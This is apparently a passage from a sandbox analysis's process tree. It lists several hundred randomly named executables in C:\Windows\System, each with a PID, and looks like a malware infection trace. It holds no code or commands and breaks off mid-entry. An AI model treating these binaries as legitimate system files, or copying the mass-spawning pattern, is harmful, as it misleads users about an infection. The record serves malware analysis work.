- C:\Windows\System\aTFAlCO.exe
  C:\Windows\System\aTFAlCO.exe
  2⤵
  PID:5988
- C:\Windows\System\keRHwcS.exe
  C:\Windows\System\keRHwcS.exe
  2⤵
  PID:6016
- C:\Windows\System\RlcRLjD.exe
  C:\Windows\System\RlcRLjD.exe
  2⤵
  PID:5752
- C:\Windows\System\DIzhfRV.exe
  C:\Windows\System\DIzhfRV.exe
  2⤵
  PID:5848
- C:\Windows\System\ynYREOA.exe
  C:\Windows\System\ynYREOA.exe
  2⤵
  PID:5756
- C:\Windows\System\DSqzSkM.exe
  C:\Windows\System\DSqzSkM.exe
  2⤵
  PID:6156
- C:\Windows\System\LKNNwsp.exe
  C:\Windows\System\LKNNwsp.exe
  2⤵
  PID:6172
- C:\Windows\System\SHBKWfA.exe
  C:\Windows\System\SHBKWfA.exe
  2⤵
  PID:6188
- C:\Windows\System\QcCEahW.exe
  C:\Windows\System\QcCEahW.exe
  2⤵
  PID:6204
- C:\Windows\System\LrHilqx.exe
  C:\Windows\System\LrHilqx.exe
  2⤵
  PID:6220
- C:\Windows\System\mfFFhRC.exe
  C:\Windows\System\mfFFhRC.exe
  2⤵
  PID:6236
- C:\Windows\System\xATvyKt.exe
  C:\Windows\System\xATvyKt.exe
  2⤵
  PID:6252
- C:\Windows\System\bwyZyBC.exe
  C:\Windows\System\bwyZyBC.exe
  2⤵
  PID:6268
- C:\Windows\System\qGrJFFs.exe
  C:\Windows\System\qGrJFFs.exe
  2⤵
  PID:6284
- C:\Windows\System\vnCKeAY.exe
  C:\Windows\System\vnCKeAY.exe
  2⤵
  PID:6300
- C:\Windows\System\OSaRwST.exe
  C:\Windows\System\OSaRwST.exe
  2⤵
  PID:6316
- C:\Windows\System\GiiTSHV.exe
  C:\Windows\System\GiiTSHV.exe
  2⤵
  PID:6332
- C:\Windows\System\zOeoILO.exe
  C:\Windows\System\zOeoILO.exe
  2⤵
  PID:6348
- C:\Windows\System\bJcTezQ.exe
  C:\Windows\System\bJcTezQ.exe
  2⤵
  PID:6368
- C:\Windows\System\GjfVohG.exe
  C:\Windows\System\GjfVohG.exe
  2⤵
  PID:6384
- C:\Windows\System\TXBVIdj.exe
  C:\Windows\System\TXBVIdj.exe
  2⤵
  PID:6400
- C:\Windows\System\fdEjIrD.exe
  C:\Windows\System\fdEjIrD.exe
  2⤵
  PID:6416
- C:\Windows\System\hTTxKNr.exe
  C:\Windows\System\hTTxKNr.exe
  2⤵
  PID:6432
- C:\Windows\System\KBxDdrR.exe
  C:\Windows\System\KBxDdrR.exe
  2⤵
  PID:6448
- C:\Windows\System\JYmjCRK.exe
  C:\Windows\System\JYmjCRK.exe
  2⤵
  PID:6464
- C:\Windows\System\wgHJAux.exe
  C:\Windows\System\wgHJAux.exe
  2⤵
  PID:6484
- C:\Windows\System\iSSqmHX.exe
  C:\Windows\System\iSSqmHX.exe
  2⤵
  PID:6500
- C:\Windows\System\CCrJdew.exe
  C:\Windows\System\CCrJdew.exe
  2⤵
  PID:6516
- C:\Windows\System\EZaqNhd.exe
  C:\Windows\System\EZaqNhd.exe
  2⤵
  PID:6532
- C:\Windows\System\zRSiuaH.exe
  C:\Windows\System\zRSiuaH.exe
  2⤵
  PID:6548
- C:\Windows\System\SLAgAub.exe
  C:\Windows\System\SLAgAub.exe
  2⤵
  PID:6564
- C:\Windows\System\dAmgWNT.exe
  C:\Windows\System\dAmgWNT.exe
  2⤵
  PID:6580
- C:\Windows\System\hYjKnsa.exe
  C:\Windows\System\hYjKnsa.exe
  2⤵
  PID:6596
- C:\Windows\System\aXYHRBI.exe
  C:\Windows\System\aXYHRBI.exe
  2⤵
  PID:6612
- C:\Windows\System\OmsnQpX.exe
  C:\Windows\System\OmsnQpX.exe
  2⤵
  PID:6628
- C:\Windows\System\dkFmocO.exe
  C:\Windows\System\dkFmocO.exe
  2⤵
  PID:6644
- C:\Windows\System\XsfWZCu.exe
  C:\Windows\System\XsfWZCu.exe
  2⤵
  PID:6660
- C:\Windows\System\IwNSRQl.exe
  C:\Windows\System\IwNSRQl.exe
  2⤵
  PID:6680
- C:\Windows\System\YijXNCx.exe
  C:\Windows\System\YijXNCx.exe
  2⤵
  PID:6696
- C:\Windows\System\dRqYgyd.exe
  C:\Windows\System\dRqYgyd.exe
  2⤵
  PID:6712
- C:\Windows\System\OIcOPVw.exe
  C:\Windows\System\OIcOPVw.exe
  2⤵
  PID:6728
- C:\Windows\System\niQZaDY.exe
  C:\Windows\System\niQZaDY.exe
  2⤵
  PID:6744
- C:\Windows\System\LcEzKfx.exe
  C:\Windows\System\LcEzKfx.exe
  2⤵
  PID:6760
- C:\Windows\System\rsNtZvt.exe
  C:\Windows\System\rsNtZvt.exe
  2⤵
  PID:6776
- C:\Windows\System\OuLSKdO.exe
  C:\Windows\System\OuLSKdO.exe
  2⤵
  PID:6792
- C:\Windows\System\zbrXEHE.exe
  C:\Windows\System\zbrXEHE.exe
  2⤵
  PID:6808
- C:\Windows\System\bVbvPlU.exe
  C:\Windows\System\bVbvPlU.exe
  2⤵
  PID:6824
- C:\Windows\System\MGRINnK.exe
  C:\Windows\System\MGRINnK.exe
  2⤵
  PID:6840
- C:\Windows\System\hsbqAwP.exe
  C:\Windows\System\hsbqAwP.exe
  2⤵
  PID:6856
- C:\Windows\System\HmgezCZ.exe
  C:\Windows\System\HmgezCZ.exe
  2⤵
  PID:6872
- C:\Windows\System\dPBOwhe.exe
  C:\Windows\System\dPBOwhe.exe
  2⤵
  PID:6888
- C:\Windows\System\dUsFaoI.exe
  C:\Windows\System\dUsFaoI.exe
  2⤵
  PID:6904
- C:\Windows\System\tztwmYp.exe
  C:\Windows\System\tztwmYp.exe
  2⤵
  PID:6920
- C:\Windows\System\HTqHXej.exe
  C:\Windows\System\HTqHXej.exe
  2⤵
  PID:6940
- C:\Windows\System\doNhyTL.exe
  C:\Windows\System\doNhyTL.exe
  2⤵
  PID:6956
- C:\Windows\System\CYSYUvs.exe
  C:\Windows\System\CYSYUvs.exe
  2⤵
  PID:6972
- C:\Windows\System\BMFGkUD.exe
  C:\Windows\System\BMFGkUD.exe
  2⤵
  PID:6992
- C:\Windows\System\HBdBZQv.exe
  C:\Windows\System\HBdBZQv.exe
  2⤵
  PID:7008
- C:\Windows\System\QvqwQoa.exe
  C:\Windows\System\QvqwQoa.exe
  2⤵
  PID:7024
- C:\Windows\System\qxVFGJx.exe
  C:\Windows\System\qxVFGJx.exe
  2⤵
  PID:7044
- C:\Windows\System\mAUnZQQ.exe
  C:\Windows\System\mAUnZQQ.exe
  2⤵
  PID:7060
- C:\Windows\System\ULJDBIc.exe
  C:\Windows\System\ULJDBIc.exe
  2⤵
  PID:7076
- C:\Windows\System\GmAByTU.exe
  C:\Windows\System\GmAByTU.exe
  2⤵
  PID:7092
- C:\Windows\System\uRMOTrA.exe
  C:\Windows\System\uRMOTrA.exe
  2⤵
  PID:7108
- C:\Windows\System\rgrRYDW.exe
  C:\Windows\System\rgrRYDW.exe
  2⤵
  PID:7124
- C:\Windows\System\roJjhWg.exe
  C:\Windows\System\roJjhWg.exe
  2⤵
  PID:7140
- C:\Windows\System\WuqCIAR.exe
  C:\Windows\System\WuqCIAR.exe
  2⤵
  PID:7156
- C:\Windows\System\uaKfJgW.exe
  C:\Windows\System\uaKfJgW.exe
  2⤵
  PID:5280
- C:\Windows\System\NLAvNOX.exe
  C:\Windows\System\NLAvNOX.exe
  2⤵
  PID:5676
- C:\Windows\System\PaVeDBZ.exe
  C:\Windows\System\PaVeDBZ.exe
  2⤵
  PID:6168
- C:\Windows\System\EfWbYcA.exe
  C:\Windows\System\EfWbYcA.exe
  2⤵
  PID:6228
- C:\Windows\System\uyUItHb.exe
  C:\Windows\System\uyUItHb.exe
  2⤵
  PID:6184
- C:\Windows\System\OaTVWSL.exe
  C:\Windows\System\OaTVWSL.exe
  2⤵
  PID:6264
- C:\Windows\System\tdlSlyE.exe
  C:\Windows\System\tdlSlyE.exe
  2⤵
  PID:6296
- C:\Windows\System\gmOTjPo.exe
  C:\Windows\System\gmOTjPo.exe
  2⤵
  PID:6308
- C:\Windows\System\NvmIVZh.exe
  C:\Windows\System\NvmIVZh.exe
  2⤵
  PID:6344
- C:\Windows\System\yiieQrg.exe
  C:\Windows\System\yiieQrg.exe
  2⤵
  PID:6392
- C:\Windows\System\HFcqSmO.exe
  C:\Windows\System\HFcqSmO.exe
  2⤵
  PID:6456
- C:\Windows\System\VRQAsuD.exe
  C:\Windows\System\VRQAsuD.exe
  2⤵
  PID:6380
- C:\Windows\System\tXTzjLt.exe
  C:\Windows\System\tXTzjLt.exe
  2⤵
  PID:6480
- C:\Windows\System\FWpRzNO.exe
  C:\Windows\System\FWpRzNO.exe
  2⤵
  PID:6544
- C:\Windows\System\bkeCuCN.exe
  C:\Windows\System\bkeCuCN.exe
  2⤵
  PID:6524
- C:\Windows\System\kHShvqp.exe
  C:\Windows\System\kHShvqp.exe
  2⤵
  PID:6588
- C:\Windows\System\uQKEOGz.exe
  C:\Windows\System\uQKEOGz.exe
  2⤵
  PID:6540
- C:\Windows\System\APmGdxE.exe
  C:\Windows\System\APmGdxE.exe
  2⤵
  PID:6608
- C:\Windows\System\NTUyTlq.exe
  C:\Windows\System\NTUyTlq.exe
  2⤵
  PID:6640
- C:\Windows\System\yfvTuhm.exe
  C:\Windows\System\yfvTuhm.exe
  2⤵
  PID:6692
- C:\Windows\System\ixoUgbT.exe
  C:\Windows\System\ixoUgbT.exe
  2⤵
  PID:6752
- C:\Windows\System\FvnffJc.exe
  C:\Windows\System\FvnffJc.exe
  2⤵
  PID:6820
- C:\Windows\System\ejxmhCA.exe
  C:\Windows\System\ejxmhCA.exe
  2⤵
  PID:6740
- C:\Windows\System\ImzbZRG.exe
  C:\Windows\System\ImzbZRG.exe
  2⤵
  PID:6800
- C:\Windows\System\bZMgCXp.exe
  C:\Windows\System\bZMgCXp.exe
  2⤵
  PID:6852
- C:\Windows\System\pvOetVX.exe
  C:\Windows\System\pvOetVX.exe
  2⤵
  PID:6916
- C:\Windows\System\xpjrsOd.exe
  C:\Windows\System\xpjrsOd.exe
  2⤵
  PID:6948
- C:\Windows\System\kgqYqui.exe
  C:\Windows\System\kgqYqui.exe
  2⤵
  PID:6952
- C:\Windows\System\FBKdLdy.exe
  C:\Windows\System\FBKdLdy.exe
  2⤵
  PID:6968
- C:\Windows\System\sEpeQMr.exe
  C:\Windows\System\sEpeQMr.exe
  2⤵
  PID:7000
- C:\Windows\System\CezarNP.exe
  C:\Windows\System\CezarNP.exe
  2⤵
  PID:7020
- C:\Windows\System\ZmPSUNR.exe
  C:\Windows\System\ZmPSUNR.exe
  2⤵
  PID:7040
- C:\Windows\System\PClRBDZ.exe
  C:\Windows\System\PClRBDZ.exe
  2⤵
  PID:7088
- C:\Windows\System\NkIkSSb.exe
  C:\Windows\System\NkIkSSb.exe
  2⤵
  PID:7104
- C:\Windows\System\laokwtg.exe
  C:\Windows\System\laokwtg.exe
  2⤵
  PID:7136
- C:\Windows\System\WKPHbNp.exe
  C:\Windows\System\WKPHbNp.exe
  2⤵
  PID:5736
- C:\Windows\System\mflFaXl.exe
  C:\Windows\System\mflFaXl.exe
  2⤵
  PID:6212
- C:\Windows\System\MmYAfDk.exe
  C:\Windows\System\MmYAfDk.exe
  2⤵
  PID:6364
- C:\Windows\System\kHzKVTJ.exe
  C:\Windows\System\kHzKVTJ.exe
  2⤵
  PID:6280
- C:\Windows\System\UIHVZCG.exe
  C:\Windows\System\UIHVZCG.exe
  2⤵
  PID:6152
- C:\Windows\System\AFrYpVM.exe
  C:\Windows\System\AFrYpVM.exe
  2⤵
  PID:6556
- C:\Windows\System\uOKdGNU.exe
  C:\Windows\System\uOKdGNU.exe
  2⤵
  PID:6576
- C:\Windows\System\nWaaWpp.exe
  C:\Windows\System\nWaaWpp.exe
  2⤵
  PID:6496
- C:\Windows\System\cOPulYh.exe
  C:\Windows\System\cOPulYh.exe
  2⤵
  PID:6636
- C:\Windows\System\vXcEOds.exe
  C:\Windows\System\vXcEOds.exe
  2⤵
  PID:6788
- C:\Windows\System\CaTXYai.exe
  C:\Windows\System\CaTXYai.exe
  2⤵
  PID:6912
- C:\Windows\System\AtsrvIJ.exe
  C:\Windows\System\AtsrvIJ.exe
  2⤵
  PID:7016
- C:\Windows\System\EvvMUPw.exe
  C:\Windows\System\EvvMUPw.exe
  2⤵
  PID:7032
- C:\Windows\System\EQAZdFP.exe
  C:\Windows\System\EQAZdFP.exe
  2⤵
  PID:6708
- C:\Windows\System\dXYduoF.exe
  C:\Windows\System\dXYduoF.exe
  2⤵
  PID:6868
- C:\Windows\System\PEuVVQn.exe
  C:\Windows\System\PEuVVQn.exe
  2⤵
  PID:7120
- C:\Windows\System\qZIBoZS.exe
  C:\Windows\System\qZIBoZS.exe
  2⤵
  PID:5780
- C:\Windows\System\QGhfPqc.exe
  C:\Windows\System\QGhfPqc.exe
  2⤵
  PID:6216
- C:\Windows\System\IrcPiWI.exe
  C:\Windows\System\IrcPiWI.exe
  2⤵
  PID:6604
- C:\Windows\System\xMQDtRZ.exe
  C:\Windows\System\xMQDtRZ.exe
  2⤵
  PID:6656
- C:\Windows\System\eUeSRzE.exe
  C:\Windows\System\eUeSRzE.exe
  2⤵
  PID:6688
- C:\Windows\System\gREaxFa.exe
  C:\Windows\System\gREaxFa.exe
  2⤵
  PID:7100
- C:\Windows\System\MkYpnLX.exe
  C:\Windows\System\MkYpnLX.exe
  2⤵
  PID:6988
- C:\Windows\System\RgkNEeq.exe
  C:\Windows\System\RgkNEeq.exe
  2⤵
  PID:6816
- C:\Windows\System\ASztRXh.exe
  C:\Windows\System\ASztRXh.exe
  2⤵
  PID:6472
- C:\Windows\System\nsTJVle.exe
  C:\Windows\System\nsTJVle.exe
  2⤵
  PID:6936
- C:\Windows\System\nGyBoro.exe
  C:\Windows\System\nGyBoro.exe
  2⤵
  PID:6932
- C:\Windows\System\ghDLFIL.exe
  C:\Windows\System\ghDLFIL.exe
  2⤵
  PID:6100
- C:\Windows\System\DJOoXnV.exe
  C:\Windows\System\DJOoXnV.exe
  2⤵
  PID:6884
- C:\Windows\System\fIAqGEn.exe
  C:\Windows\System\fIAqGEn.exe
  2⤵
  PID:6200
- C:\Windows\System\ROOtKjX.exe
  C:\Windows\System\ROOtKjX.exe
  2⤵
  PID:6244
- C:\Windows\System\fqFPJqJ.exe
  C:\Windows\System\fqFPJqJ.exe
  2⤵
  PID:6492
- C:\Windows\System\HoOtYFY.exe
  C:\Windows\System\HoOtYFY.exe
  2⤵
  PID:7180
- C:\Windows\System\qjMMenV.exe
  C:\Windows\System\qjMMenV.exe
  2⤵
  PID:7196
- C:\Windows\System\IxRgbOe.exe
  C:\Windows\System\IxRgbOe.exe
  2⤵
  PID:7212
- C:\Windows\System\JlurYHn.exe
  C:\Windows\System\JlurYHn.exe
  2⤵
  PID:7228
- C:\Windows\System\daUObcs.exe
  C:\Windows\System\daUObcs.exe
  2⤵
  PID:7244
- C:\Windows\System\zqsJvhZ.exe
  C:\Windows\System\zqsJvhZ.exe
  2⤵
  PID:7260
- C:\Windows\System\zXEQGOS.exe
  C:\Windows\System\zXEQGOS.exe
  2⤵
  PID:7276
- C:\Windows\System\qBNGZZi.exe
  C:\Windows\System\qBNGZZi.exe
  2⤵
  PID:7292
- C:\Windows\System\RtkLOia.exe
  C:\Windows\System\RtkLOia.exe
  2⤵
  PID:7308
- C:\Windows\System\ZAQvEve.exe
  C:\Windows\System\ZAQvEve.exe
  2⤵
  PID:7324
- C:\Windows\System\kzhtiCW.exe
  C:\Windows\System\kzhtiCW.exe
  2⤵
  PID:7340
- C:\Windows\System\JhlMpnt.exe
  C:\Windows\System\JhlMpnt.exe
  2⤵
  PID:7356
- C:\Windows\System\NlNPDcg.exe
  C:\Windows\System\NlNPDcg.exe
  2⤵
  PID:7376
- C:\Windows\System\vQrUsLQ.exe
  C:\Windows\System\vQrUsLQ.exe
  2⤵
  PID:7392
- C:\Windows\System\rvKGRlO.exe
  C:\Windows\System\rvKGRlO.exe
  2⤵
  PID:7408
- C:\Windows\System\KuUMsyA.exe
  C:\Windows\System\KuUMsyA.exe
  2⤵
  PID:7424
- C:\Windows\System\nmNhOuJ.exe
  C:\Windows\System\nmNhOuJ.exe
  2⤵
  PID:7440
- C:\Windows\System\munuuVF.exe
  C:\Windows\System\munuuVF.exe
  2⤵
  PID:7456
- C:\Windows\System\TDxemdQ.exe
  C:\Windows\System\TDxemdQ.exe
  2⤵
  PID:7472
- C:\Windows\System\biqoRwA.exe
  C:\Windows\System\biqoRwA.exe
  2⤵
  PID:7488
- C:\Windows\System\DsRyLNn.exe
  C:\Windows\System\DsRyLNn.exe
  2⤵
  PID:7504
- C:\Windows\System\HTqzCuu.exe
  C:\Windows\System\HTqzCuu.exe
  2⤵
  PID:7520
- C:\Windows\System\LcNJROe.exe
  C:\Windows\System\LcNJROe.exe
  2⤵
  PID:7536
- C:\Windows\System\dLYWtpe.exe
  C:\Windows\System\dLYWtpe.exe
  2⤵
  PID:7552
- C:\Windows\System\VTmwBTN.exe
  C:\Windows\System\VTmwBTN.exe
  2⤵
  PID:7568
- C:\Windows\System\yIchJxo.exe
  C:\Windows\System\yIchJxo.exe
  2⤵
  PID:7592
- C:\Windows\System\KtFFvMr.exe
  C:\Windows\System\KtFFvMr.exe
  2⤵
  PID:7608
- C:\Windows\System\ghhwiia.exe
  C:\Windows\System\ghhwiia.exe
  2⤵
  PID:7624
- C:\Windows\System\Qnngewy.exe
  C:\Windows\System\Qnngewy.exe
  2⤵
  PID:7640
- C:\Windows\System\ufosOss.exe
  C:\Windows\System\ufosOss.exe
  2⤵
  PID:7656
- C:\Windows\System\UqXmvwl.exe
  C:\Windows\System\UqXmvwl.exe
  2⤵
  PID:7676
- C:\Windows\System\vKQUqxx.exe
  C:\Windows\System\vKQUqxx.exe
  2⤵
  PID:7692
- C:\Windows\System\FwybRIu.exe
  C:\Windows\System\FwybRIu.exe
  2⤵
  PID:7708
- C:\Windows\System\guJBCWI.exe
  C:\Windows\System\guJBCWI.exe
  2⤵
  PID:7724
- C:\Windows\System\yJwsKZv.exe
  C:\Windows\System\yJwsKZv.exe
  2⤵
  PID:7740
- C:\Windows\System\PiKehgf.exe
  C:\Windows\System\PiKehgf.exe
  2⤵
  PID:7756
- C:\Windows\System\KlXmKMy.exe
  C:\Windows\System\KlXmKMy.exe
  2⤵
  PID:7772
- C:\Windows\System\GpdDlEV.exe
  C:\Windows\System\GpdDlEV.exe
  2⤵
  PID:7788
- C:\Windows\System\MZApdKK.exe
  C:\Windows\System\MZApdKK.exe
  2⤵
  PID:7804
- C:\Windows\System\vjSaylw.exe
  C:\Windows\System\vjSaylw.exe
  2⤵
  PID:7820
- C:\Windows\System\OmAhLQD.exe
  C:\Windows\System\OmAhLQD.exe
  2⤵
  PID:7836
- C:\Windows\System\OhvpYHI.exe
  C:\Windows\System\OhvpYHI.exe
  2⤵
  PID:7852
- C:\Windows\System\qZMqtiL.exe
  C:\Windows\System\qZMqtiL.exe
  2⤵
  PID:7868
- C:\Windows\System\vTmfTjN.exe
  C:\Windows\System\vTmfTjN.exe
  2⤵
  PID:7884
- C:\Windows\System\iBmwWZF.exe
  C:\Windows\System\iBmwWZF.exe
  2⤵
  PID:7908
- C:\Windows\System\sEOFCbm.exe
  C:\Windows\System\sEOFCbm.exe
  2⤵
  PID:7924
- C:\Windows\System\rexiyEF.exe
  C:\Windows\System\rexiyEF.exe
  2⤵
  PID:7940
- C:\Windows\System\ChfiMRO.exe
  C:\Windows\System\ChfiMRO.exe
  2⤵
  PID:7956
- C:\Windows\System\BuFqFxF.exe
  C:\Windows\System\BuFqFxF.exe
  2⤵
  PID:7972
- C:\Windows\System\hCIhrwm.exe
  C:\Windows\System\hCIhrwm.exe
  2⤵
  PID:7988
- C:\Windows\System\DERDmnj.exe
  C:\Windows\System\DERDmnj.exe
  2⤵
  PID:8004
- C:\Windows\System\IzSpWgP.exe
  C:\Windows\System\IzSpWgP.exe
  2⤵
  PID:8020
- C:\Windows\System\pyCGDVI.exe
  C:\Windows\System\pyCGDVI.exe
  2⤵
  PID:8036
- C:\Windows\System\MdeTDqA.exe
  C:\Windows\System\MdeTDqA.exe
  2⤵
  PID:8052
- C:\Windows\System\rDyPwSG.exe
  C:\Windows\System\rDyPwSG.exe
  2⤵
  PID:8068
- C:\Windows\System\ByYZFGW.exe
  C:\Windows\System\ByYZFGW.exe
  2⤵
  PID:8084
- C:\Windows\System\fVJtXZv.exe
  C:\Windows\System\fVJtXZv.exe
  2⤵
  PID:8100
- C:\Windows\System\DPmxcvD.exe
  C:\Windows\System\DPmxcvD.exe
  2⤵
  PID:8116
- C:\Windows\System\Iaaeuyt.exe
  C:\Windows\System\Iaaeuyt.exe
  2⤵
  PID:8132
- C:\Windows\System\ihMYNPG.exe
  C:\Windows\System\ihMYNPG.exe
  2⤵
  PID:8148
- C:\Windows\System\zQylgqn.exe
  C:\Windows\System\zQylgqn.exe
  2⤵
  PID:8164
- C:\Windows\System\pwMxrxd.exe
  C:\Windows\System\pwMxrxd.exe
  2⤵
  PID:8180
- C:\Windows\System\TsXHvVj.exe
  C:\Windows\System\TsXHvVj.exe
  2⤵
  PID:6720
- C:\Windows\System\aEhKVpo.exe
  C:\Windows\System\aEhKVpo.exe
  2⤵
  PID:7172
- C:\Windows\System\PJQEoPh.exe
  C:\Windows\System\PJQEoPh.exe
  2⤵
  PID:7208
- C:\Windows\System\pYgWpPp.exe
  C:\Windows\System\pYgWpPp.exe
  2⤵
  PID:7272
- C:\Windows\System\NVoVzwM.exe
  C:\Windows\System\NVoVzwM.exe
  2⤵
  PID:7252
- C:\Windows\System\usmYvAv.exe
  C:\Windows\System\usmYvAv.exe
  2⤵
  PID:7332
- C:\Windows\System\isqoFzn.exe
  C:\Windows\System\isqoFzn.exe
  2⤵
  PID:7484
- C:\Windows\System\WLVKJPd.exe
  C:\Windows\System\WLVKJPd.exe
  2⤵
  PID:7564
- C:\Windows\System\uEldwKs.exe
  C:\Windows\System\uEldwKs.exe
  2⤵
  PID:7632
- C:\Windows\System\ibzfVvk.exe
  C:\Windows\System\ibzfVvk.exe
  2⤵
  PID:7616
- C:\Windows\System\rNLafDG.exe
  C:\Windows\System\rNLafDG.exe
  2⤵
  PID:7588
- C:\Windows\System\ATBxHKC.exe
  C:\Windows\System\ATBxHKC.exe
  2⤵
  PID:7732
- C:\Windows\System\mVivWeV.exe
  C:\Windows\System\mVivWeV.exe
  2⤵
  PID:7688
- C:\Windows\System\tdnDDkJ.exe
  C:\Windows\System\tdnDDkJ.exe
  2⤵
  PID:7720
- C:\Windows\System\FJMmYSH.exe
  C:\Windows\System\FJMmYSH.exe
  2⤵
  PID:7748
- C:\Windows\System\KjvwiKe.exe
  C:\Windows\System\KjvwiKe.exe
  2⤵
  PID:7752
- C:\Windows\System\ImMzhOR.exe
  C:\Windows\System\ImMzhOR.exe
  2⤵
  PID:7892
- C:\Windows\System\fGyImPI.exe
  C:\Windows\System\fGyImPI.exe
  2⤵
  PID:7880
- C:\Windows\System\jwVXFMB.exe
  C:\Windows\System\jwVXFMB.exe
  2⤵
  PID:7904
- C:\Windows\System\hPufpnc.exe
  C:\Windows\System\hPufpnc.exe
  2⤵
  PID:7948
- C:\Windows\System\SZcbHbW.exe
  C:\Windows\System\SZcbHbW.exe
  2⤵
  PID:7968
- C:\Windows\System\cIZqaLk.exe
  C:\Windows\System\cIZqaLk.exe
  2⤵
  PID:8060
- C:\Windows\System\YPvfCxj.exe
  C:\Windows\System\YPvfCxj.exe
  2⤵
  PID:7980
- C:\Windows\System\rAkSaGA.exe
  C:\Windows\System\rAkSaGA.exe
  2⤵
  PID:8092
- C:\Windows\System\bwHxMcS.exe
  C:\Windows\System\bwHxMcS.exe
  2⤵
  PID:8128
- C:\Windows\System\mBurWzl.exe
  C:\Windows\System\mBurWzl.exe
  2⤵
  PID:8108
- C:\Windows\System\jqggjpK.exe
  C:\Windows\System\jqggjpK.exe
  2⤵
  PID:7204
- C:\Windows\System\KUavlsk.exe
  C:\Windows\System\KUavlsk.exe
  2⤵
  PID:8176
- C:\Windows\System\UXpFUGp.exe
  C:\Windows\System\UXpFUGp.exe
  2⤵
  PID:7256
- C:\Windows\System\jXpDDod.exe
  C:\Windows\System\jXpDDod.exe
  2⤵
  PID:7288
- C:\Windows\System\mdvLxeu.exe
  C:\Windows\System\mdvLxeu.exe
  2⤵
  PID:7336
- C:\Windows\System\MLCnTud.exe
  C:\Windows\System\MLCnTud.exe
  2⤵
  PID:7368
- C:\Windows\System\uzecwHs.exe
  C:\Windows\System\uzecwHs.exe
  2⤵
  PID:7432
- C:\Windows\System\sWQeYEN.exe
  C:\Windows\System\sWQeYEN.exe
  2⤵
  PID:7384
- C:\Windows\System\WuDPmkP.exe
  C:\Windows\System\WuDPmkP.exe
  2⤵
  PID:7452
- C:\Windows\System\BGaWcJZ.exe
  C:\Windows\System\BGaWcJZ.exe
  2⤵
  PID:7500
- C:\Windows\System\bWZWKhg.exe
  C:\Windows\System\bWZWKhg.exe
  2⤵
  PID:7544
- C:\Windows\System\bNfXwnZ.exe
  C:\Windows\System\bNfXwnZ.exe
  2⤵
  PID:7684
- C:\Windows\System\anwQYZE.exe
  C:\Windows\System\anwQYZE.exe
  2⤵
  PID:7864
- C:\Windows\System\qMxuJUW.exe
  C:\Windows\System\qMxuJUW.exe
  2⤵
  PID:7516
- C:\Windows\System\DnEFBhV.exe
  C:\Windows\System\DnEFBhV.exe
  2⤵
  PID:7796
- C:\Windows\System\WFmZLZS.exe
  C:\Windows\System\WFmZLZS.exe
  2⤵
  PID:7816
- C:\Windows\System\zqZsMyZ.exe
  C:\Windows\System\zqZsMyZ.exe
  2⤵
  PID:7964
- C:\Windows\System\ZFXMbUL.exe
  C:\Windows\System\ZFXMbUL.exe
  2⤵
  PID:7848
- C:\Windows\System\WCpbEGH.exe
  C:\Windows\System\WCpbEGH.exe
  2⤵
  PID:7932
- C:\Windows\System\ENfcTHe.exe
  C:\Windows\System\ENfcTHe.exe
  2⤵
  PID:8032
- C:\Windows\System\IbaTaih.exe
  C:\Windows\System\IbaTaih.exe
  2⤵
  PID:8172
- C:\Windows\System\VjcZgub.exe
  C:\Windows\System\VjcZgub.exe
  2⤵
  PID:6180
- C:\Windows\System\aVVbVeu.exe
  C:\Windows\System\aVVbVeu.exe
  2⤵
  PID:7320
- C:\Windows\System\BoxVpVj.exe
  C:\Windows\System\BoxVpVj.exe
  2⤵
  PID:7548
- C:\Windows\System\dRpmede.exe
  C:\Windows\System\dRpmede.exe
  2⤵
  PID:7768
- C:\Windows\System\WyQxVGz.exe
  C:\Windows\System\WyQxVGz.exe
  2⤵
  PID:7936
- C:\Windows\System\pmihQnx.exe
  C:\Windows\System\pmihQnx.exe
  2⤵
  PID:7268
- C:\Windows\System\kQDfyTp.exe
  C:\Windows\System\kQDfyTp.exe
  2⤵
  PID:8028
- C:\Windows\System\ShOIXCL.exe
  C:\Windows\System\ShOIXCL.exe
  2⤵
  PID:6508
- C:\Windows\System\VkrwgxG.exe
  C:\Windows\System\VkrwgxG.exe
  2⤵
  PID:7404
- C:\Windows\System\YMDsuvG.exe
  C:\Windows\System\YMDsuvG.exe
  2⤵
  PID:7496
- C:\Windows\System\uhAgkmo.exe
  C:\Windows\System\uhAgkmo.exe
  2⤵
  PID:7576
- C:\Windows\System\wHRBlfV.exe
  C:\Windows\System\wHRBlfV.exe
  2⤵
  PID:7704
- C:\Windows\System\GvmQdrf.exe
  C:\Windows\System\GvmQdrf.exe
  2⤵
  PID:8188
- C:\Windows\System\kzSydtI.exe
  C:\Windows\System\kzSydtI.exe
  2⤵
  PID:7668
- C:\Windows\System\DlgoJse.exe
  C:\Windows\System\DlgoJse.exe
  2⤵
  PID:8124
- C:\Windows\System\rVmEGsA.exe
  C:\Windows\System\rVmEGsA.exe
  2⤵
  PID:8196
- C:\Windows\System\BMDknPL.exe
  C:\Windows\System\BMDknPL.exe
  2⤵
  PID:8212
- C:\Windows\System\Xtzdogs.exe
  C:\Windows\System\Xtzdogs.exe
  2⤵
  PID:8228
- C:\Windows\System\ZnhrzQt.exe
  C:\Windows\System\ZnhrzQt.exe
  2⤵
  PID:8248
- C:\Windows\System\EgweTaC.exe
  C:\Windows\System\EgweTaC.exe
  2⤵
  PID:8264
- C:\Windows\System\cXxbutw.exe
  C:\Windows\System\cXxbutw.exe
  2⤵
  PID:8280
- C:\Windows\System\WCbYoKZ.exe
  C:\Windows\System\WCbYoKZ.exe
  2⤵
  PID:8296
- C:\Windows\System\xecJOvQ.exe
  C:\Windows\System\xecJOvQ.exe
  2⤵
  PID:8312
- C:\Windows\System\bStUAid.exe
  C:\Windows\System\bStUAid.exe
  2⤵
  PID:8328
- C:\Windows\System\bwgLqeW.exe
  C:\Windows\System\bwgLqeW.exe
  2⤵
  PID:8344
- C:\Windows\System\STdftrf.exe
  C:\Windows\System\STdftrf.exe
  2⤵
  PID:8360
- C:\Windows\System\JtKDXEl.exe
  C:\Windows\System\JtKDXEl.exe
  2⤵
  PID:8376
- C:\Windows\System\SkNughX.exe
  C:\Windows\System\SkNughX.exe
  2⤵
  PID:8392
- C:\Windows\System\iHUqUhs.exe
  C:\Windows\System\iHUqUhs.exe
  2⤵
  PID:8520
- C:\Windows\System\cUovUFK.exe
  C:\Windows\System\cUovUFK.exe
  2⤵
  PID:8536
- C:\Windows\System\HkjCoXS.exe
  C:\Windows\System\HkjCoXS.exe
  2⤵
  PID:8552
- C:\Windows\System\duPbWmT.exe
  C:\Windows\System\duPbWmT.exe
  2⤵
  PID:8568
- C:\Windows\System\SGJYnhp.exe
